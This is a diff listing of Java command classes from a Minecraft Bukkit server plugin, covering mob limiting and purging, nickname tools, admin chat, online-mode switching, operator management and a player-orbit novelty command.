public URL getURL() throws MalformedURLException
|
||||
{
|
||||
List<String> pairs = new ArrayList<String>();
|
||||
Iterator<Entry<String, String>> it = queryStringMap.entrySet().iterator();
|
||||
while (it.hasNext())
|
||||
{
|
||||
Entry<String, String> pair = it.next();
|
||||
pairs.add(pair.getKey() + "=" + pair.getValue());
|
||||
}
|
||||
|
||||
return new URL(requestPath + "?" + StringUtils.join(pairs, "&"));
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,60 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.GameRuleHandler;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.ONLY_CONSOLE)
|
||||
@CommandParameters(description = "Control mob rezzing parameters.", usage = "/<command> <on|off|setmax <count>|dragon|giant|ghast|slime>")
|
||||
public class Command_moblimiter extends FreedomCommand {
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
|
||||
if (args.length < 1) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("on")) {
|
||||
ConfigEntry.MOB_LIMITER_ENABLED.setBoolean(true);
|
||||
} else if (args[0].equalsIgnoreCase("off")) {
|
||||
ConfigEntry.MOB_LIMITER_ENABLED.setBoolean(false);
|
||||
} else if (args[0].equalsIgnoreCase("dragon")) {
|
||||
ConfigEntry.MOB_LIMITER_DISABLE_DRAGON.setBoolean(!ConfigEntry.MOB_LIMITER_DISABLE_DRAGON.getBoolean());
|
||||
} else if (args[0].equalsIgnoreCase("giant")) {
|
||||
ConfigEntry.MOB_LIMITER_DISABLE_GIANT.setBoolean(!ConfigEntry.MOB_LIMITER_DISABLE_GIANT.getBoolean());
|
||||
} else if (args[0].equalsIgnoreCase("slime")) {
|
||||
ConfigEntry.MOB_LIMITER_DISABLE_SLIME.setBoolean(!ConfigEntry.MOB_LIMITER_DISABLE_SLIME.getBoolean());
|
||||
} else if (args[0].equalsIgnoreCase("ghast")) {
|
||||
ConfigEntry.MOB_LIMITER_DISABLE_GHAST.setBoolean(!ConfigEntry.MOB_LIMITER_DISABLE_GHAST.getBoolean());
|
||||
} else {
|
||||
if (args.length < 2) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("setmax")) {
|
||||
try {
|
||||
ConfigEntry.MOB_LIMITER_MAX.setInteger(Math.max(0, Math.min(2000, Integer.parseInt(args[1]))));
|
||||
} catch (NumberFormatException nfex) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (ConfigEntry.MOB_LIMITER_ENABLED.getBoolean()) {
|
||||
sender.sendMessage("Moblimiter enabled. Maximum mobcount set to: " + ConfigEntry.MOB_LIMITER_MAX.getInteger() + ".");
|
||||
|
||||
playerMsg("Dragon: " + (ConfigEntry.MOB_LIMITER_DISABLE_DRAGON.getBoolean() ? "disabled" : "enabled") + ".");
|
||||
playerMsg("Giant: " + (ConfigEntry.MOB_LIMITER_DISABLE_GIANT.getBoolean() ? "disabled" : "enabled") + ".");
|
||||
playerMsg("Slime: " + (ConfigEntry.MOB_LIMITER_DISABLE_SLIME.getBoolean() ? "disabled" : "enabled") + ".");
|
||||
playerMsg("Ghast: " + (ConfigEntry.MOB_LIMITER_DISABLE_GHAST.getBoolean() ? "disabled" : "enabled") + ".");
|
||||
} else {
|
||||
playerMsg("Moblimiter is disabled. No mob restrictions are in effect.");
|
||||
}
|
||||
|
||||
plugin.gr.setGameRule(GameRuleHandler.TFM_GameRule.DO_MOB_SPAWNING, !ConfigEntry.MOB_LIMITER_ENABLED.getBoolean());
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,45 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.World;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Ambient;
|
||||
import org.bukkit.entity.Creature;
|
||||
import org.bukkit.entity.EnderDragon;
|
||||
import org.bukkit.entity.Entity;
|
||||
import org.bukkit.entity.Ghast;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.entity.Slime;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Purge all mobs in all worlds.", usage = "/<command>", aliases = "mp")
|
||||
public class Command_mobpurge extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
playerMsg("Purging all mobs...");
|
||||
playerMsg(purgeMobs() + " mobs removed.");
|
||||
return true;
|
||||
}
|
||||
|
||||
public static int purgeMobs()
|
||||
{
|
||||
int removed = 0;
|
||||
for (World world : Bukkit.getWorlds())
|
||||
{
|
||||
for (Entity ent : world.getLivingEntities())
|
||||
{
|
||||
if (ent instanceof Creature || ent instanceof Ghast || ent instanceof Slime || ent instanceof EnderDragon || ent instanceof Ambient)
|
||||
{
|
||||
ent.remove();
|
||||
removed++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return removed;
|
||||
}
|
||||
}
|
@ -0,0 +1,51 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Modern weaponry, FTW. Use 'draw' to start firing, 'sling' to stop firing.", usage = "/<command> <draw | sling>")
|
||||
public class Command_mp44 extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (!ConfigEntry.MP44_ENABLED.getBoolean())
|
||||
{
|
||||
playerMsg("The mp44 is currently disabled.", ChatColor.GREEN);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
FPlayer playerdata = plugin.pl.getPlayer(sender_p);
|
||||
|
||||
if (args[0].equalsIgnoreCase("draw"))
|
||||
{
|
||||
playerdata.armMP44();
|
||||
|
||||
playerMsg("mp44 is ARMED! Left click with gunpowder to start firing, left click again to quit.", ChatColor.GREEN);
|
||||
playerMsg("Type /mp44 sling to disable. -by Madgeek1450", ChatColor.GREEN);
|
||||
|
||||
sender_p.setItemInHand(new ItemStack(Material.SULPHUR, 1));
|
||||
}
|
||||
else
|
||||
{
|
||||
playerdata.disarmMP44();
|
||||
|
||||
sender.sendMessage(ChatColor.GREEN + "mp44 Disarmed.");
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,19 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Goto the nether.", usage = "/<command>")
|
||||
public class Command_nether extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
FUtil.gotoWorld(sender_p, server.getWorlds().get(0).getName() + "_nether");
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,50 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Essentials Interface Command - Remove distracting things from nicknames of all players on server.", usage = "/<command>", aliases = "nc")
|
||||
public class Command_nickclean extends FreedomCommand
|
||||
{
|
||||
private static final ChatColor[] BLOCKED = new ChatColor[]
|
||||
{
|
||||
ChatColor.MAGIC,
|
||||
ChatColor.STRIKETHROUGH,
|
||||
ChatColor.ITALIC,
|
||||
ChatColor.UNDERLINE,
|
||||
ChatColor.BLACK
|
||||
};
|
||||
private static final Pattern REGEX = Pattern.compile("\\u00A7[" + StringUtils.join(BLOCKED, "") + "]");
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Cleaning all nicknames.", false);
|
||||
|
||||
for (final Player player : server.getOnlinePlayers())
|
||||
{
|
||||
final String playerName = player.getName();
|
||||
final String nickName = plugin.esb.getNickname(playerName);
|
||||
if (nickName != null && !nickName.isEmpty() && !nickName.equalsIgnoreCase(playerName))
|
||||
{
|
||||
final Matcher matcher = REGEX.matcher(nickName);
|
||||
if (matcher.find())
|
||||
{
|
||||
final String newNickName = matcher.replaceAll("");
|
||||
playerMsg(ChatColor.RESET + playerName + ": \"" + nickName + ChatColor.RESET + "\" -> \"" + newNickName + ChatColor.RESET + "\".");
|
||||
plugin.esb.setNickname(playerName, newNickName);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,122 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "NickFilter: Prefix any command with this command to replace nicknames in that command with real names. Nicknames should be prefixed with a !.",
|
||||
usage = "/<command> <other_command> !<playernick>",
|
||||
aliases = "nf")
|
||||
public class Command_nickfilter extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
boolean nickMatched = false;
|
||||
|
||||
final List<String> outputCommand = new ArrayList<String>();
|
||||
|
||||
if (args.length >= 1)
|
||||
{
|
||||
final List<String> argsList = Arrays.asList(args);
|
||||
for (String arg : argsList)
|
||||
{
|
||||
Player player = null;
|
||||
|
||||
Matcher matcher = Pattern.compile("^!(.+)$").matcher(arg);
|
||||
if (matcher.find())
|
||||
{
|
||||
String displayName = matcher.group(1);
|
||||
|
||||
player = getPlayerByDisplayName(displayName);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
player = getPlayerByDisplayNameAlt(displayName);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
sender.sendMessage(ChatColor.GRAY + "Can't find player by nickname: " + displayName);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
outputCommand.add(arg);
|
||||
}
|
||||
else
|
||||
{
|
||||
nickMatched = true;
|
||||
outputCommand.add(player.getName());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!nickMatched)
|
||||
{
|
||||
sender.sendMessage("No nicknames replaced in command.");
|
||||
return true;
|
||||
}
|
||||
|
||||
String newCommand = StringUtils.join(outputCommand, " ");
|
||||
|
||||
if (plugin.cb.isCommandBlocked(newCommand, sender))
|
||||
{
|
||||
// CommandBlocker handles messages and broadcasts
|
||||
return true;
|
||||
}
|
||||
|
||||
sender.sendMessage("Sending command: \"" + newCommand + "\".");
|
||||
server.dispatchCommand(sender, newCommand);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static Player getPlayerByDisplayName(String needle)
|
||||
{
|
||||
needle = needle.toLowerCase().trim();
|
||||
|
||||
for (Player player : Bukkit.getOnlinePlayers())
|
||||
{
|
||||
if (player.getDisplayName().toLowerCase().trim().contains(needle))
|
||||
{
|
||||
return player;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private static Player getPlayerByDisplayNameAlt(String needle)
|
||||
{
|
||||
needle = needle.toLowerCase().trim();
|
||||
|
||||
Integer minEditDistance = null;
|
||||
Player minEditMatch = null;
|
||||
|
||||
for (Player player : Bukkit.getOnlinePlayers())
|
||||
{
|
||||
String haystack = player.getDisplayName().toLowerCase().trim();
|
||||
int editDistance = StringUtils.getLevenshteinDistance(needle, haystack.toLowerCase());
|
||||
if (minEditDistance == null || minEditDistance.intValue() > editDistance)
|
||||
{
|
||||
minEditDistance = editDistance;
|
||||
minEditMatch = player;
|
||||
}
|
||||
}
|
||||
|
||||
return minEditMatch;
|
||||
}
|
||||
}
|
@ -0,0 +1,72 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Essentials Interface Command - Nyanify your nickname.", usage = "/<command> <<nick> | off>")
|
||||
public class Command_nicknyan extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if ("off".equals(args[0]))
|
||||
{
|
||||
plugin.esb.setNickname(sender.getName(), null);
|
||||
playerMsg("Nickname cleared.");
|
||||
return true;
|
||||
}
|
||||
|
||||
final String nickPlain = ChatColor.stripColor(FUtil.colorize(args[0].trim()));
|
||||
|
||||
if (!nickPlain.matches("^[a-zA-Z_0-9\u00a7]+$"))
|
||||
{
|
||||
playerMsg("That nickname contains invalid characters.");
|
||||
return true;
|
||||
}
|
||||
else if (nickPlain.length() < 4 || nickPlain.length() > 30)
|
||||
{
|
||||
playerMsg("Your nickname must be between 4 and 30 characters long.");
|
||||
return true;
|
||||
}
|
||||
|
||||
for (Player player : Bukkit.getOnlinePlayers())
|
||||
{
|
||||
if (player == sender_p)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (player.getName().equalsIgnoreCase(nickPlain) || ChatColor.stripColor(player.getDisplayName()).trim().equalsIgnoreCase(nickPlain))
|
||||
{
|
||||
playerMsg("That nickname is already in use.");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
final StringBuilder newNick = new StringBuilder();
|
||||
|
||||
final char[] chars = nickPlain.toCharArray();
|
||||
for (char c : chars)
|
||||
{
|
||||
newNick.append(FUtil.randomChatColor()).append(c);
|
||||
}
|
||||
|
||||
newNick.append(ChatColor.WHITE);
|
||||
|
||||
plugin.esb.setNickname(sender.getName(), newNick.toString());
|
||||
|
||||
playerMsg("Your nickname is now: " + newNick.toString());
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,40 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(
|
||||
description = "AdminChat - Talk privately with other admins. Using <command> itself will toggle AdminChat on and off for all messages.",
|
||||
usage = "/<command> [message...]",
|
||||
aliases = "adminchat")
|
||||
public class Command_o extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 0)
|
||||
{
|
||||
if (senderIsConsole)
|
||||
{
|
||||
playerMsg("Only in-game players can toggle AdminChat.");
|
||||
return true;
|
||||
}
|
||||
|
||||
FPlayer userinfo = plugin.pl.getPlayer(sender_p);
|
||||
userinfo.setAdminChat(!userinfo.inAdminChat());
|
||||
playerMsg("Toggled Admin Chat " + (userinfo.inAdminChat() ? "on" : "off") + ".");
|
||||
}
|
||||
else
|
||||
{
|
||||
FUtil.adminChatMessage(sender, StringUtils.join(args, " "), senderIsConsole);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,70 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.NON_OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Switch server online-mode on and off.", usage = "/<command> <on | off>")
|
||||
public class Command_onlinemode extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length < 1)
|
||||
{
|
||||
playerMsg("Server is currently running with 'online-mode=" + (server.getOnlineMode() ? "true" : "false") + "'.", ChatColor.WHITE);
|
||||
playerMsg("\"/onlinemode on\" and \"/onlinemode off\" can be used to change online mode from the console.", ChatColor.WHITE);
|
||||
}
|
||||
else
|
||||
{
|
||||
boolean onlineMode;
|
||||
|
||||
if (sender instanceof Player && !plugin.al.isSeniorAdmin(sender))
|
||||
{
|
||||
noPerms();
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("on"))
|
||||
{
|
||||
onlineMode = true;
|
||||
}
|
||||
else if (args[0].equalsIgnoreCase("off"))
|
||||
{
|
||||
onlineMode = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
plugin.si.setOnlineMode(onlineMode);
|
||||
|
||||
if (onlineMode)
|
||||
{
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
player.kickPlayer("Server is activating \"online-mode=true\". Please reconnect.");
|
||||
}
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Turning player validation " + (onlineMode ? "on" : "off") + ".", true);
|
||||
|
||||
server.reload();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,59 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.DepreciationAggregator;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.OfflinePlayer;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Makes a player operator", usage = "/<command> <playername>")
|
||||
public class Command_op extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("all") || args[0].equalsIgnoreCase("everyone"))
|
||||
{
|
||||
playerMsg("Correct usage: /opall");
|
||||
return true;
|
||||
}
|
||||
|
||||
OfflinePlayer player = null;
|
||||
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||
{
|
||||
if (args[0].equalsIgnoreCase(onlinePlayer.getName()))
|
||||
{
|
||||
player = onlinePlayer;
|
||||
}
|
||||
}
|
||||
|
||||
// if the player is not online
|
||||
if (player == null)
|
||||
{
|
||||
if (plugin.al.isAdmin(sender) || senderIsConsole)
|
||||
{
|
||||
player = DepreciationAggregator.getOfflinePlayer(server, args[0]);
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("That player is not online.");
|
||||
playerMsg("You don't have permissions to OP offline players.", ChatColor.YELLOW);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Opping " + player.getName(), false);
|
||||
player.setOp(true);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,48 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.GameMode;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Op everyone on the server, optionally change everyone's gamemode at the same time.", usage = "/<command> [-c | -s]")
|
||||
public class Command_opall extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Opping all players on the server", false);
|
||||
|
||||
boolean doSetGamemode = false;
|
||||
GameMode targetGamemode = GameMode.CREATIVE;
|
||||
if (args.length != 0)
|
||||
{
|
||||
if (args[0].equals("-c"))
|
||||
{
|
||||
doSetGamemode = true;
|
||||
targetGamemode = GameMode.CREATIVE;
|
||||
}
|
||||
else if (args[0].equals("-s"))
|
||||
{
|
||||
doSetGamemode = true;
|
||||
targetGamemode = GameMode.SURVIVAL;
|
||||
}
|
||||
}
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
player.setOp(true);
|
||||
player.sendMessage(FreedomCommand.YOU_ARE_OP);
|
||||
|
||||
if (doSetGamemode)
|
||||
{
|
||||
player.setGameMode(targetGamemode);
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,22 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.ONLY_IN_GAME)
|
||||
@CommandParameters(description = "Automatically ops user.", usage = "/<command>")
|
||||
public class Command_opme extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Opping " + sender.getName(), false);
|
||||
sender.setOp(true);
|
||||
sender.sendMessage(FreedomCommand.YOU_ARE_OP);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,65 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.OfflinePlayer;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Manager operators", usage = "/<command> <count | purge>")
|
||||
public class Command_ops extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args[0].equals("count"))
|
||||
{
|
||||
int totalOps = server.getOperators().size();
|
||||
int onlineOps = 0;
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
if (player.isOp())
|
||||
{
|
||||
onlineOps++;
|
||||
}
|
||||
}
|
||||
|
||||
playerMsg("Online OPs: " + onlineOps);
|
||||
playerMsg("Offline OPs: " + (totalOps - onlineOps));
|
||||
playerMsg("Total OPs: " + totalOps);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
if (args[0].equals("purge"))
|
||||
{
|
||||
if (!plugin.al.isAdmin(sender))
|
||||
{
|
||||
noPerms();
|
||||
return true;
|
||||
}
|
||||
|
||||
FUtil.adminAction(sender.getName(), "Purging all operators", true);
|
||||
|
||||
for (OfflinePlayer player : server.getOperators())
|
||||
{
|
||||
player.setOp(false);
|
||||
if (player.isOnline())
|
||||
{
|
||||
playerMsg(player.getPlayer(), FreedomCommand.YOU_ARE_NOT_OP);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
@ -0,0 +1,66 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.GameMode;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.util.Vector;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "POW!!! Right in the kisser! One of these days Alice, straight to the Moon!",
|
||||
usage = "/<command> <target> [<<power> | stop>]")
|
||||
public class Command_orbit extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
playerMsg(FreedomCommand.PLAYER_NOT_FOUND, ChatColor.RED);
|
||||
return true;
|
||||
}
|
||||
|
||||
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
|
||||
double strength = 10.0;
|
||||
|
||||
if (args.length >= 2)
|
||||
{
|
||||
if (args[1].equals("stop"))
|
||||
{
|
||||
playerMsg("Stopped orbiting " + player.getName());
|
||||
playerdata.stopOrbiting();
|
||||
return true;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
strength = Math.max(1.0, Math.min(150.0, Double.parseDouble(args[1])));
|
||||
}
|
||||
catch (NumberFormatException ex)
|
||||
{
|
||||
playerMsg(ex.getMessage(), ChatColor.RED);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
player.setGameMode(GameMode.SURVIVAL);
|
||||
playerdata.startOrbiting(strength);
|
||||
|
||||
player.setVelocity(new Vector(0, strength, 0));
|
||||
FUtil.adminAction(sender.getName(), "Orbiting " + player.getName(), false);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,80 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import com.sk89q.util.StringUtil;
|
||||
import java.util.List;
|
||||
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.config.MainConfig;
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
